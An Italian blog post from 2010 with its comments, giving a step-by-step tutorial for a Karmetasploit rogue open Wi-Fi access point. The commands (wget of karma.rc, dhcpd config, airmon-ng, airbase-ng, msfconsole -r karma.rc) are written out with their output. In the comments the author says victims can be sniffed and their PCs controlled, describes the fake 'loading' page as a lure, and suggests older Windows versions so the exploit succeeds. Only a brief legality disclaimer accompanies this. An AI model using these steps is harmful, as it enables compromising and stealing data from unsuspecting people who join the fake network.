martedì 9 marzo 2010

Fake AP con Karmetasploit

Ci sono vari modi per creare un AP falso, che potrebbe essere utile per fare delle prove per testare le keys wep o wpa. Nel tool di Gerix-Wifi-Cracker c'è una opzione che permette di creare un AP falso impostando il tipo di crittografia e la password, ovviamente dovreste avere almeno due scheda wireless, una serve per creare l'AP l'altra per craccarlo. Potremo anche crearlo personalmente seguendo questa guida presa dal forum italiano di remote-exploit Come creare un AP falso con tua scheda wifi, vediamo ora come crearlo con karmetasploit un tool sviluppato dallo stesso team di metasploit, karma creerà un fake AP senza password quindi open che chiunque potrà collegarsi, quando un pc si collegherà all'AP karma invierà una serie di exploits nel pc vittima per ottenere una sessione di meterpreter. Passiamo ora all'installazione e configurazione di karma!

Scarichiamo karma dal sito di metasploit

root@morfes:/opt/metasploit3/msf3# wget "http://metasploit.com/users/hdm/tools/karma.rc"
--2009-05-04 18:43:26-- http://metasploit.com/users/hdm/tools/karma.rc
Resolving metasploit.com... 66.240.213.81
Connecting to metasploit.com|66.240.213.81|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1088 (1.1K) [text/plain]
Saving to: `karma.rc'

100%[============================================================================>] 1,088 --.-K/s in 0s

(88.7 MB/s) - `karma.rc' saved [1088/1088]



modifichiamo il file dhcp.conf inserendo questi comandi, ah prima facciamo un backup del file

root@morfes:~# nano /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}


installiamo dei requisiti che servono a karma

root@morfes:~# gem install activerecord sqlite3-ruby
Successfully installed activerecord-2.3.2
Building native extensions. This could take a while...
Successfully installed sqlite3-ruby-1.2.4
2 gems installed
Installing ri documentation for activerecord-2.3.2...
Installing ri documentation for sqlite3-ruby-1.2.4...
Installing RDoc documentation for activerecord-2.3.2...
Installing RDoc documentation for sqlite3-ruby-1.2.4...


mettiamo in modalità monitor con airmon-ng una delle nostre schede wifi e avviamo airbase-ng per creare l'AP falso

root@morfes:~# airmon-ng


Interface Chipset Driver

wlan0 Broadcom b43 - [phy0]



root@morfes:~# airmon-ng start wlan0


Interface Chipset Driver

wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)



root@morfes:~# airbase-ng -P -C 30 -e "Morfes" -v mon0
For information, no action required: Using gettimeofday() instead of /dev/rtc
22:52:25 Created tap interface at0
22:52:25 Trying to set MTU on at0 to 1500
22:52:25 Trying to set MTU on ath1 to 1800
22:52:25 Access Point with BSSID 00:1A:4D:49:0B:26 started.


impostiamo l'ip per la nostra nuova interfaccia di rete at0 e attiviamo il DHCP Server

root@morfes:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@morfes:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 0 leases to leases file.
Listening on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24
Sending on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24
Sending on Socket/fallback/fallback-net
Can't create PID file /var/run/dhcpd.pid: Permission denied.
root@morfes:~# ps aux | grep dhcpd
dhcpd 6490 0.0 0.1 3812 1840 ? Ss 22:55 0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
root 6493 0.0 0.0 3232 788 pts/0 S+ 22:55 0:00 grep dhcpd


e infine avviamo karma

root@morfes:/opt/metasploit3/msf3# ./msfconsole -r karma.rc


Vi ricordo che questo è un tutorial dimostrativo, tutto ciò deve essere fatto nella vostra rete lan! Vi ricordo inoltre che entrare in una rete wifi altrui anche se open è illegale, anche perchè come dimostrato nell'articolo se entrate in una rete wifi open creata da qualche cracker potete diventare delle possibile vittime! :)




14 commenti:

Anonimo ha detto...

e poi? Una volta attivata msfconsole? Che si fa? Bah i soliti titorial del cavolo. La tua guida, evidentemente scopiazzata da qualche parte non ci serve a nulla...

morfes ha detto...

Come che si fa poi! Hai un AP falso open dove tutti posso accedere e diventare delle tue vittime, puoi sniffare il loro traffico e avere il controllo dei loro pc. I miei articoli li scrivo io, non faccio copia e incolla, ovviamente prendo spunto da questi siti: http://www.metasploit.com/redmine/projects/framework/wiki/Karmetasploit, http://www.offensive-security.com/metasploit-unleashed/Karmetasploit_Configuration.

Anonimo ha detto...

Non è un'offesa o una critica. Questi tutorial sicuramente vengono organizzati da persone competenti. Il problema è che a noi neofiti servirebbero spiegazioni ben più dettagliate. Parlo dei prerequisiti, requisiti, insomma tutto quello che serve per "operare" senza incorrere in fastidiosi errori. Ad esempio, ho iniziato a trovare delle difficoltà nel "passaggio" gem install activerecord sqlite3-ruby. Ebbene, dopo una lunga attesa (il PC sembra piantato) e dopo:
ERROR: Error installing activerecord:
i18n requires RubyGems version >= 1.3.5
ERROR: Error installing sqlite3-ruby:
sqlite3 requires RubyGems version >= 1.3.5
E qui mi ricollego ai prerequisiti: non si potrebbero dare prima spiegazioni o suggerimenti sui pacchetti da installare prima di partire in quarta? Ho provato ad installare sto ruby ma sinceramente mi è passata la voglia. Una volta che risolvi un errore se ne presentano 10... Grazie per la tua attenzione e per la competenza che metti a nostra dispozione.

Anonimo ha detto...

Innanzi tutto grazie per aver risposto. Adesso, dopo l'iniziale sfogo di sconforto, vorrei spiegarmi meglio.
Ho seguito la tua guida e ho trovato problemi sia, come ti ho già scritto nel precedente post, nell'installazione di sqlite3-ruby:
" Error installing sqlite3-ruby:
ERROR: Failed to build gem native extension.
...sqlite3-ruby only supports sqlite3 versions 3.6.16+, please upgrade!
*** extconf.rb failed *** ...versions 3.6.16+,please upgrade

sia al punto in cui dici di avviare msfconsole: ./msfconsole -r karma.rc

Ebbene,
1) [Error installing sqlite3-ruby] ci potresti spiegare come risolvere questo problema (in internet ci sono tantissimi forum col medesimo oggetto di discussione), in maniera ultra-elementare (ti assicuro che le ho provate di tutte e non ci sono riuscito);

2) [./msfconsole -r karma.rc] una volta descritto questo input si potrebbe (sempre per gli "handicappati" di linux, ovviamente) specificare ad esempio:
"attendere anche una decina di secondi che si apra la console" - poichè uno potrebbe anche pensare che non funzioni e chiudere tutto ...

poi, quando si apre la console msf > che si fa? C'è una serie di complicate procedure che tu non menzioni minimamente, infatti, bisogna interrogare con opportuni comandi quali database sono installati (db_driver), quale dobbiamo scegliere, come attivarlo (nel caso della scelta del db_mysql lo si attiva con /etc/init.d/mysql start, ed una serie di opzioni e di exploit (es. use auxiliary/server/browser_autopwn) che sinceramente spiazzerebbero chiunque senza un'opportuna guida che sia all'altezza di definirsi tale. I tutorial, i manuali, le guide per "newbie" dovrebbero spiegare passo passo nella maniera più chiara possibile, anche riportando degli esempi e non lasciare il povero appassionato alle prime armi in mezzo ad una strada senza sbocchi, con mille interrogativi e senza sapere che pesci prendere oppure se il risultato a cui è pervenuto è davvero quello o no.
Ecco, è tutto. Io personalmete sono riuscito a capirci l' 1% del karmaesploit. Vuoi sapere come? Come in un puzzle! Solo che i pezzi li ho dovuti reperire in internet da decine e decine di millantate guide.
Comunque ancora grazie per il tuo impegno.

morfes ha detto...

Ciao Anonimo, karma in quale distro la installi? su backtrack, su ubuntu o altra? La mia guida è stata testata su backtrack 4 e non ho avuto problemi con sqlite3-ruby. Se installi karma su ubuntu o debian o distro che derivano da loro, prova a dare sudo apt-cache search sqlite3-ruby, ti da una lista di pacchetti che contengono sqlite3 per ruby, installa quella della versione ruby che hai.

morfes ha detto...

prova con questo comando sudo apt-get install libdataobjects-sqlite3-ruby, fammi sapere se va :)

Anonimo ha detto...

Ciao morfes grazie per la tua solerzia! Io ho Backtrack 4 r2 installato su chiavetta in persistent mode. Proverò a seguire i tuoi consigli appena possibile e poi ti farò sapere l'esito.
ciao

Anonimo ha detto...

root@bt:~# sudo apt-cache search sqlite3-ruby
libsqlite3-ruby1.8 - SQLite3 interface for Ruby 1.8
libsqlite3-ruby - SQLite3 interface for Ruby
libdbd-sqlite3-ruby1.8 - Ruby/DBI SQLite driver for Ruby 1.8
libdbd-sqlite3-ruby - Ruby/DBI driver for SQLite3
libdataobjects-sqlite3-ruby1.8 - sqlite3 adapter for libdataobjects-ruby1.8

che faccio? :(

Anonimo ha detto...

invece col secondo suggerimento:
root@bt:~# sudo apt-get install libdataobjects-sqlite3-ruby
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Couldn't find package libdataobjects-sqlite3-ruby
root@bt:~#

booo

Anonimo ha detto...

Comunque ho tentato lo stesso di andare avanti e riprovare l'ekploit x l'ennesima volta. Dopo aver impostato il monitor mode su mon0,injection, avviato l'AP fasullo, ifconfig, grep ecc. ecc
Quando su msfconsole imposto tutto db_sqlite3 ecc e do il run compare server started. Ok ora devo aspettare. Ok Mi collego con l'altro pc (xp prof. sp3) all'AP che ho creato ed iniziano a comparire su mfsconsole di bt4 (portatile) una valanga di dati solo che su XP (che risulta connesso regolarmente) non si naviga. Anzi compare nella finestra del browser di internet explorer 8 una maschera con sfondo nero e con una scritta "loading". Successivamente compaiono degli avvisi di protezione activex a cui ho dato il consesno per l'installazione (ma credo che non abbiano avuto buon fine). Insomma la maschera loading è lì ferma e la valanga di dati (inutili?) continua a popolare il mio portatile con Bt4 r2. Che significa? Alla fine ho sospeso e ho dato comunque il comando sessions -l
ma, ovviamente, non c'era nessuna sessione da vagliare.
io non ci capisco na mazza ... ciao

morfes ha detto...

Ciao Anonimo, se ricordo infatti la vittima non può navigare, quella pagina del browser che sta a caricare serve per ingannare la vittima ad accettare ed installare l'exploit. Penso che con xp sp3 l'exploit non funziona, ti consiglio di provare con xp sp1 o sp2 :)

Anonimo ha detto...

Infatti. E' proprio così, la schermata "loading" serve per ingannare l'avventato client e tenerlo in attesa di collegamento (che non avverrà mai) per il maggior tempo possibile, così i moduli preconfigurati con metasploit carpiscono dal suo pc dati che vengono registrati nel database karma.db e poi analizzato successivamente. Però temo che l'attesa del malcapitato possa essere anche molto lunga. Ma poi non ho capito una cosa: il malcapitato di passaggio se gli riesco a carpire la password poi che ci faccio se non si ricollega? scusa la mia sterminata ignoranza ...

Anonimo ha detto...

Complimenti per la guida. E' ottima. a devo dire che mi fa piacere che i lammeroni (ai quali fa anche fatica di cercare qualche informazione su google), non riescano ad eseguirla.

Anonimo ha detto...

Lol agli script kiddies che vogliono essere dei veri h4x0rz ma non sanno neanche installare un pacchetto. Bisogna partire dalle fondamenta, non dalla cima

Posta un commento